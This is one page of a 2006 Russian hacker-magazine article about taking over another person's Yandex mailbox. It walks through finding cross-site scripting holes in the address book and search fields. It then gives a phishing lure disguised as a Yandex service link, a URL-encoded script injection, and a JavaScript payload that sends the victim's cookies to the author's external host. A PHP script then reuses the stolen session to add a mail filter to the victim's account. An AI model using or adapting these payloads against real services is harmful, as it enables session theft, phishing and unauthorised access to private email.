Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #93, СЕНТЯБРЬ 2006 г.

Как угнать почтовый ящик

Digimortal, NST (nst.void.ru)

Хакер, номер #093, стр. 093-064-5


Поля “От кого” и “Тема” отфильтрованы начисто, поле “Поиск в папке” на мою конструкцию ругается “синтаксическая ошибка”, после чего я вижу свою внедряемою строку в неизменном виде. Все ясно - тут фильтр.

Переходим к секции “Адресная книга” как оказалась тут просто кладезь XSS и все они активные. После нескольких проверок, выяснилось, что фильтрами тут и не пахло, так как можно свободно внедрить конструкцию подобную <script>alert(‘NST’)</script>

Только вот активность этих XSS обусловлена пользователем. Т.е. это все хорошо, когда мы находимся у себя в ящике и сами внедряем нужные значения, активизируя XSS. Но что бы это провернуть в ящике недруга мне необходимо, чтобы недруг отправил POST запрос на скрипт colabook_addp с необходимыми значениями и сам активизировал XSS.

И тут меня осенило: я перешел в секцию Поиск и стал проверять тамошние поля. Здесь у нас всего два поля из которых одно было проверено в секции “Письма” оптимистично. Ну что ж подставляю в поле “Поиск по адресам” <script>alert('Someone XSS here ???')</script>. Вуаля! Код выполняется.

Итак, все ингредиенты у нас теперь есть.

Меня посетила мысль, а что если с помощью XSS утащить сессию у недруга, передать ее скрипту, а уже он отправит POST запрос на добавления фильтра. Проблем с Referer тут не будет, так как скриптом мы можем формировать заголовки, какие только пожелает сервер.

Пользователю необходимо скинуть письмо якобы от какой-нибудь службы Яндекса, в котором вставить ссылку, закодировав все, что будет привлекать внимание в сложночитаемый URL. Яндекс умная система, она сама отформатирует ссылку HTML-ом и пользователь ее будет видеть как обычную ссылку на сайтах. Сказано – реализовано, в итоге у меня получился вот такой XSS

<script src=http://nst.void.ru/s/s.js></script>

После преобразования его в кодированный URL (я использовал nST Calc)

nstCalc.pl –urle “<script src=http://nst.void.ru/s/s.js></script>”

и добавления полученного в параметр, где я нашел XSS, ссылка приняла такой вид

http://mail.yandex.ru/search?help=error&address%3C%73%63%72%69%70%74%20%73%72%63%3D%68%74%74%70%3A%2F%2F%6E%73%74%2E%76%6F%69%64%2E%72%75%2F%73%2F%73%2E%6A%73%3E%3C%2F%73%63%72%69%70%74%3E&do=1

Скрипт s.js выглядел следующим образом:

i = new Image; i.src='http://nst.void.ru/s/s.php?'+document.cookie;

window.location='http://mail.yandex.ru/yamail';

Переменная help и ее значение error здесь используется для правдоподобности ссылки. Пусть недруг думает, что это ссылка на некую помощь.

Можно было и не делать промежуточный скрипт s.js, а напрямую внедрить window.location=http:// Но в таком случае ссылка была бы значительно больше и привлекала бы лишнее внимание.

Затем я написал сценарий на PHP, назвав его s.gif который будет вытаскивать сессию из QUERY_STRING (именно там окажется кука, а, следовательно, и сессия в ней, после выполнения в браузере недруга скрипта s.js) а затем скрипт сделает необходимый POST запрос который добавит фильтр недругу (его код ты можешь найти на нашем диске).

Назад на стр. 093-064-4  Содержание  Вперед на стр. 093-064-6